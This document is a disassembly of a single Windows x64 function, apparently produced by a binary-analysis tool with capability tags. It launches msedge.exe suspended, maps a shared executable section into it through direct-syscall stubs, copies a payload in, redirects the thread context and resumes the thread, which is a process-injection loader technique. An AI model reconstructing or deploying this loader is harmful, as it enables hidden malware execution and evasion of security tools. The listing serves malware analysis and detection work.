Function at 0x1400021b0
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push rbp
push rbx
sub rsp, 0x708
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x6a0], rcx
mov qword [rbp + 0x6a8], rdx
lea rax, [rbp + 0x5e0]
mov r8d, 0x70
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x5e0], 0x70
lea rax, [rbp + 0x5c0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov qword [rbp + 0x678], rax
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplication
mov qword [rbp + 0x670], rax
lea rax, [rbp + 0x4d0]
lea rdx, str._C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe____no_start_up_window___win_session_start__prefetch:5
mov ecx, 0xe8
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, [rbp + 0x4d0]
mov rcx, qword [rbp + 0x678]
lea rdx, [rbp + 0x5c0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x5e0]
mov qword [rsp + 0x40], rdx
mov rdx, qword [rbp + 0x670]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
mov dword [rbp + 0x66c], eax
cmp dword [rbp + 0x66c], 0
je 0x1400022ca
lea rax, str.Successfully_created_CreateProcessW.
mov rcx, rax
call sym.puts
jmp 0x1400022e4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_create_process._Error:__lu_n
mov rcx, rax
call sym.printf
lea rax, [0x140006516]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
jne 0x14000232c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_load_ntdll.dll._Error:__lu_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400026a9
mov rax, qword [rbp + 0x6a8]
mov qword [rbp + 0x4c0], rax
lea rdx, [rbp + 0x4c0]
lea rax, [rbp + 0x4c8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
mov r9, rdx
mov r8d, 0
mov edx, 0xf001f
mov rcx, rax
call fcn.140001e8a
mov dword [rbp + 0x65c], eax
cmp dword [rbp + 0x65c], 0
js 0x140002397
lea rax, str.Successfully_created_Sw3NtCreateSection.
mov rcx, rax
call sym.puts
jmp 0x1400023ae
mov eax, dword [rbp + 0x65c]
mov edx, eax
lea rax, str.Failed_to_create_section._Status:_0x_x_n
mov rcx, rax
call sym.printf
mov qword [rbp + 0x4b8], 0
mov qword [rbp + 0x4b0], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x4c8]
lea r8, [rbp + 0x4b8]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rdx, [rbp + 0x4b0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov rdx, rcx
mov rcx, rax
call fcn.140001dee
mov dword [rbp + 0x65c], eax
cmp dword [rbp + 0x65c], 0
js 0x140002445
lea rax, str.Successfully_created_Sw3NtMapViewOfSection.
mov rcx, rax
call sym.puts
jmp 0x14000245c
mov eax, dword [rbp + 0x65c]
mov edx, eax
lea rax, str.Failed_to_create_section._Status:_0x_x_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x4b8]
mov rcx, qword [rbp + 0x6a8]
mov rdx, qword [rbp + 0x6a0]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov qword [rbp + 0x4a8], 0
mov rdx, qword [rbp + 0x5c0]
mov rax, qword [rbp + 0x4c8]
lea r8, [rbp + 0x4a8]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rcx, [rbp + 0x4b0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov rcx, rax
call fcn.140001dee
mov dword [rbp + 0x65c], eax
cmp dword [rbp + 0x65c], 0
js 0x140002500
lea rax, str.Successfully_created_another_Sw3NtMapViewOfSection.
mov rcx, rax
call sym.puts
jmp 0x140002517
mov eax, dword [rbp + 0x65c]
mov edx, eax
lea rax, str.Failed_to_create_section._Status:_0x_x_n
mov rcx, rax
call sym.printf
mov dword [rbp], 0x100002
mov rcx, qword [rbp + 0x5c8]
lea rax, [rbp - 0x30]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
jne 0x14000255d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_get_thread_context._Error:__lu_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400026a9
mov rax, qword [rbp + 0x4a8]
mov qword [rbp + 0x50], rax
mov rcx, qword [rbp + 0x5c8]
lea rax, [rbp - 0x30]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
test eax, eax
jne 0x1400025a7
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_set_thread_context._Error:__lu_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400026a9
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
cmp eax, 0xffffffff
jne 0x1400025e3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_resume_thread._Error:__lu_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400026a9
mov rax, qword [rbp + 0x4b8]
mov rdx, rax
lea rax, str.Unmapping_section_from_local_process._Address:__p_n
mov rcx, rax
call sym.printf
mov rbx, qword [rbp + 0x4b8]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rdx, rbx
mov rcx, rax
call fcn.140001e3c
mov dword [rbp + 0x65c], eax
cmp dword [rbp + 0x65c], 0
js 0x140002641
mov rax, qword [rbp + 0x4b8]
mov rdx, rax
lea rax, str.Successfully_unmapped_section_from_local_process._Address:__p_n
mov rcx, rax
call sym.printf
jmp 0x140002658
mov eax, dword [rbp + 0x65c]
mov edx, eax
lea rax, str.Failed_to_unmap_section_from_local_process._NTSTATUS:_0x_x_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x660]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov rax, qword [rbp + 0x5c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
add rsp, 0x708
pop rbx
pop rbp
ret